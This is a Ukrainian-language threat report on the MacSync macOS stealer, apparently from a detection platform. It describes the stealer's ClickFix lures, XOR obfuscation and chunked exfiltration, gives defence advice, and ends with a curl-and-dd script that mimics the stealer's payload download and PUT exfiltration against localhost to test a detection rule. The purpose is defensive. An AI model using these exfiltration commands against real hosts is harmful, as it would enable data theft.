MacSync macOS Stealer використовує ClickFix заманювання для уникнення виявлення
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
MacSync Stealer — це орієнтоване на macOS шкідливе програмне забезпечення як послуга (MaaS), яке покладається на соціальну інженерію в стилі ClickFix, щоб змусити користувачів виконувати шкідливі команди Терміалу. Зловмисне програмне забезпечення використовує модульний ланцюг виконання нового рівня, що включає Mach-O бінарники, виконання AppleScript у пам’яті та ексфільтрацію даних частинами. Щоб уникнути виявлення, воно використовує обфускацію XOR, демонізацію процесів і швидке видалення судово-медичних артефактів.
Розслідування
Розслідування включало реверс-інжиніринг 64-бітного попередника Mach-O для відображення його потоку виконання та методів ухилення. Дослідники ідентифікували шаблонний клас C++, що використовує одно-байтове XOR шифрування з ключем 0xAA для приховування функціональних строк і кінцевих точок C2. Аналіз також виявив розширений механізм ексфільтрації, який використовує утиліту dd для розподілу викрадених даних на шматки розміром 10 МБ перед передачею через HTTP PUT.
Запобігання
Користувачів слід навчати уникати копіювання та вставки команд Термінала, наданих браузерами помилок, фальшивими сторінками перевірки або спливаючими вікнами ClickFix. Організаціям слід уважно стежити за активністю Терміна і несанкціонованим виконанням osascript. Обмеження ненотаризованих бінарників та моніторинг підозрілої генерації або виконання файлів у /tmp може додатково зменшити ризик впливу.
Відповідь
Якщо виявлено активність MacSync, уражене кінцеве пристрій macOS потрібно негайно ізолювати, щоб запобігти подальшій ексфільтрації даних. Респонденти повинні провести судово-медичний аналіз каталогу /tmp та перевірити ~/Library/LaunchAgents/ на наявність шкідливих plist для збереження. Системні журнали також слід перевірити на наявність несанкціонованого osascript виконання і мережевий трафік перевірити на підключення до відомих C2 доменів.
Хід атаки
Ми ще оновлюємо цю частину.
Виявлення
Підозріла спроба виконання Curl [MacOS] (через командний рядок)
Архів створено у тимчасовій папці MacOS (via file_event)
IOCs (HashSha256) для виявлення: MacSync: Вислизьке macOS шпигунство, що експлуатує засоби ClickFix
IOCs (HashSha1) для виявлення: MacSync: Вислизьке macOS шпигунство, що експлуатує засоби ClickFix
IOCs (HashMd5) для виявлення: MacSync: Вислизьке macOS шпигунство, що експлуатує засоби ClickFix
MacSync Stealer – Виявлення на базі URI [Веб-сервер]
MacSync: Завуальоване демонація сесії на macOS [Створення процесів Linux]
Виконання моделювання
Передумова: Перевірка телеметрії та бази повинна бути завершена.
Обґрунтування: У цьому розділі детально описується точне виконання техніки противника (TTP), спроектоване для виклику правила виявлення. Команди і розповідь МАЮТЬ безпосередньо відображати ідентифіковані TTP і мають на меті генерувати точну телеметрію, на яку орієнтована логіка виявлення. Абстрактні або нерелевантні приклади призведуть до неправильних діагнозів.
-
Розповідь про атаку та команди: Зловмисник прагне імітувати цикл комунікації викрадача MacSync. Спочатку зловмисник моделює приманку “Clickfix”, де машина жертви інструктується завантажити корисне навантаження через специфічний URI:
/dynamic?txd=. Як тільки “шкідливе програмне забезпечення” працює, воно виконує ексфільтрацію, надсилаючи вкрадені дані назад на сервер C2, використовуючиPUTзапит до URI/gate?buildtxd=. Це імітує точний шаблон, який шукає правило виявлення. -
Тестовий скрипт регресії: Цей скрипт використовує
curlдля створення специфічних HTTP-запитів, що відповідають критеріям вибору URI правила Sigma.#!/bin/bash # Скрипт моделювання URI MacSync Stealer # Цей скрипт моделює GET і PUT запити, які використовуються MacSync TARGET_URL="http://localhost" echo "[+] Моделюється завантаження корисного навантаження (GET /dynamic?txd=)..." curl -X GET "$TARGET_URL/dynamic?txd=malicious_payload_123" -s -o /dev/null echo "[+] Моделюється ексфільтрація даних (PUT /gate?buildtxd=)..." # Моделюється завантаження 10MB шматків, як зазначено в описі правила dd if=/dev/urandom of=chunk.bin bs=1M count=10 2>/dev/null curl -X PUT "$TARGET_URL/gate?buildtxd=exfil_data_456" --data-binary @chunk.bin -s -o /dev/null echo "[+] Моделювання завершено." -
Команди для очищення:
# Видалити створені під час моделювання шматки даних rm -f chunk.bin